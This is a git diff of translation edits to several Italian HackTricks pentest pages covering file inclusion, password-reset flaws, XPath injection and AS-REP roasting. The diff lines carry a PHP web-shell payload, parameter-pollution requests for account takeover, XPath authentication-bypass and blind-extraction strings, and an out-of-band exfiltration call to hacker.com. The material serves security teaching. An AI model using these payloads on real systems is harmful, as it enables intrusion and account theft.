Questo potrebbe essere fatto anche in altri log ma **fai attenzione,** il codice all'interno dei log potrebbe essere URL encoded e questo potrebbe distruggere la Shell. L'intestazione **autorizzazione "basic"** contiene "user:password" in Base64 ed è decodificata all'interno dei log. La PHPShell potrebbe essere inserita all'interno di questa intestazione.\
|
||||||
Altri possibili percorsi di log:
|
Altri possibili percorsi di log:
|
||||||
```python
|
```python
|
||||||
/var/log/apache2/access.log
|
/var/log/apache2/access.log
|
||||||
|
@ -504,12 +504,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||||
|
|
||||||
### Via Email
|
### Via Email
|
||||||
|
|
||||||
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente con un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
**Invia una mail** a un account interno (user@localhost) contenente il tuo payload PHP come `<?php echo system($_REQUEST["cmd"]); ?>` e prova a includere nella mail dell'utente un percorso come **`/var/mail/<USERNAME>`** o **`/var/spool/mail/<USERNAME>`**
|
||||||
|
|
||||||
### Via /proc/\*/fd/\*
|
### Via /proc/\*/fd/\*
|
||||||
|
|
||||||
1. Carica molte shell (ad esempio: 100)
|
1. Carica molte shell (ad esempio: 100)
|
||||||
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere forzato a bruteforce) e $FD il file descriptor (può essere forzato a bruteforce anche)
|
2. Includi [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del processo (può essere forzato) e $FD il file descriptor (può essere forzato anche questo)
|
||||||
|
|
||||||
### Via /proc/self/environ
|
### Via /proc/self/environ
|
||||||
|
|
||||||
|
@ -526,7 +526,7 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||||
```
|
```
|
||||||
Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
|
Per mantenere il file leggibile, è meglio iniettare nei metadati delle immagini/doc/pdf
|
||||||
|
|
||||||
### Via caricamento di file Zip
|
### Via upload di file Zip
|
||||||
|
|
||||||
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
Carica un file ZIP contenente una shell PHP compressa e accedi:
|
||||||
```python
|
```python
|
||||||
|
@ -670,7 +670,7 @@ _Anche se causate un errore fatale di PHP, i file temporanei caricati vengono el
|
||||||
|
|
||||||
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -683,7 +683,7 @@ Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso noti
|
||||||
**Latest Announcements**\
|
**Latest Announcements**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali della piattaforma
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi!
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -32,9 +32,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
|
|
||||||
## **Password Reset Token Leak Via Referrer**
|
## **Password Reset Token Leak Via Referrer**
|
||||||
|
|
||||||
* L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente fa clic su un link di un sito web di terze parti dopo aver richiesto un reset della password.
|
* L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito di terze parti dopo aver richiesto un reset della password.
|
||||||
* **Impatto**: Potenziale assunzione dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
|
* **Impatto**: Potenziale assunzione dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
|
||||||
* **Sfruttamento**: Per controllare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare immediatamente la tua password**. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
|
* **Sfruttamento**: Per controllare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare immediatamente la tua password**. Invece, **naviga verso un sito di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
|
||||||
* **Riferimenti**:
|
* **Riferimenti**:
|
||||||
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
* [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||||
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
* [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||||
|
@ -45,9 +45,9 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
||||||
* Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo.
|
* Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo.
|
||||||
* **Impatto**: Porta a una potenziale assunzione dell'account rivelando i token di reset agli attaccanti.
|
* **Impatto**: Porta a una potenziale assunzione dell'account rivelando i token di reset agli attaccanti.
|
||||||
* **Passi di mitigazione**:
|
* **Passi di mitigazione**:
|
||||||
* Valida l'intestazione Host rispetto a un elenco di domini consentiti.
|
* Convalidare l'intestazione Host rispetto a un elenco di domini consentiti.
|
||||||
* Usa metodi sicuri, lato server, per generare URL assoluti.
|
* Utilizzare metodi sicuri, lato server, per generare URL assoluti.
|
||||||
* **Patch**: Usa `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
|
* **Patch**: Utilizzare `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
|
||||||
* **Riferimenti**:
|
* **Riferimenti**:
|
||||||
* [Articolo di Acunetix su Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
* [Articolo di Acunetix su Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||||
|
|
||||||
|
@ -61,7 +61,7 @@ POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
email=victim@email.com&email=attacker@email.com
|
email=victim@email.com&email=attacker@email.com
|
||||||
```
|
```
|
||||||
* Aggiungi l'email dell'attaccante come secondo parametro usando %20
|
* Aggiungi l'email dell'attaccante come secondo parametro utilizzando %20
|
||||||
```php
|
```php
|
||||||
POST /resetPassword
|
POST /resetPassword
|
||||||
[...]
|
[...]
|
||||||
|
@ -105,7 +105,7 @@ POST /resetPassword
|
||||||
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
* [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||||
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
* [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||||
|
|
||||||
## **Cambiamento dell'Email e della Password di qualsiasi Utente tramite Parametri API**
|
## **Cambiamento di Email e Password di qualsiasi Utente tramite Parametri API**
|
||||||
|
|
||||||
* Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
* Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
|
||||||
```php
|
```php
|
||||||
|
@ -154,7 +154,7 @@ POST /api/changepass
|
||||||
* Usa GUID versione 4 per la casualità o implementa misure di sicurezza aggiuntive per altre versioni.
|
* Usa GUID versione 4 per la casualità o implementa misure di sicurezza aggiuntive per altre versioni.
|
||||||
* **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
|
* **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
|
||||||
|
|
||||||
## **Manipolazione della Risposta: Sostituire una Risposta Negativa con una Positiva**
|
## **Manipolazione della Risposta: Sostituire una Brutta Risposta con una Buona**
|
||||||
|
|
||||||
* Manipolare le risposte HTTP per bypassare messaggi di errore o restrizioni.
|
* Manipolare le risposte HTTP per bypassare messaggi di errore o restrizioni.
|
||||||
* **Passi di Mitigazione**:
|
* **Passi di Mitigazione**:
|
||||||
|
@ -178,7 +178,7 @@ POST /api/changepass
|
||||||
|
|
||||||
## **Prova a Usare il Tuo Token**
|
## **Prova a Usare il Tuo Token**
|
||||||
|
|
||||||
* Testare se il token di reset di un attaccante può essere utilizzato in combinazione con l'email della vittima.
|
* Testare se un token di reset dell'attaccante può essere utilizzato in combinazione con l'email della vittima.
|
||||||
* **Passi di Mitigazione**:
|
* **Passi di Mitigazione**:
|
||||||
* Assicurati che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
|
* Assicurati che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
|
||||||
|
|
||||||
|
@ -198,12 +198,12 @@ POST /api/changepass
|
||||||
|
|
||||||
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
* [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al server [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
**Approfondimenti sul Hacking**\
|
**Approfondimenti sul Hacking**\
|
||||||
Interagisci con contenuti che approfondiscono il brivido e le sfide dell'hacking
|
Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
|
|
||||||
**Notizie di Hacking in Tempo Reale**\
|
**Notizie di Hacking in Tempo Reale**\
|
||||||
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo dell'hacking in rapida evoluzione attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -190,7 +190,7 @@ Username: ' or 1]%00
|
||||||
```
|
```
|
||||||
### **Doppio OR nel nome utente o nella password** (è valido con solo 1 campo vulnerabile)
|
### **Doppio OR nel nome utente o nella password** (è valido con solo 1 campo vulnerabile)
|
||||||
|
|
||||||
IMPORTANTE: Nota che **"and" è la prima operazione effettuata**.
|
IMPORTANTE: Nota che il **"and" è la prima operazione effettuata**.
|
||||||
```
|
```
|
||||||
Bypass with first match
|
Bypass with first match
|
||||||
(This requests are also valid without spaces)
|
(This requests are also valid without spaces)
|
||||||
|
@ -235,7 +235,7 @@ L'output contiene stringhe e l'utente può manipolare i valori per cercare:
|
||||||
```
|
```
|
||||||
## Blind Explotation
|
## Blind Explotation
|
||||||
|
|
||||||
### **Ottieni la lunghezza di un valore ed estrailo tramite confronti:**
|
### **Ottieni la lunghezza di un valore ed estraila tramite confronti:**
|
||||||
```bash
|
```bash
|
||||||
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
|
||||||
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
|
||||||
|
@ -294,7 +294,7 @@ doc-available(concat("http://hacker.com/oob/", RESULTS))
|
||||||
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
|
||||||
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
@ -305,7 +305,7 @@ Interagisci con contenuti che approfondiscono l'emozione e le sfide dell'hacking
|
||||||
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
Rimani aggiornato con il mondo frenetico dell'hacking attraverso notizie e approfondimenti in tempo reale
|
||||||
|
|
||||||
**Ultimi annunci**\
|
**Ultimi annunci**\
|
||||||
Rimani informato sulle nuove bug bounty in arrivo e sugli aggiornamenti cruciali delle piattaforme
|
Rimani informato sui nuovi bug bounty in arrivo e aggiornamenti cruciali delle piattaforme
|
||||||
|
|
||||||
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
**Unisciti a noi su** [**Discord**](https://discord.com/invite/N3FrSbmwdy) e inizia a collaborare con i migliori hacker oggi stesso!
|
||||||
|
|
||||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||||
|
|
||||||
|
@ -115,7 +115,7 @@ ASRepCatcher listen
|
||||||
|
|
||||||
***
|
***
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
Unisciti al [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server per comunicare con hacker esperti e cacciatori di bug bounty!
|
||||||
|
|
||||||
|
|
Loading…
Reference in a new issue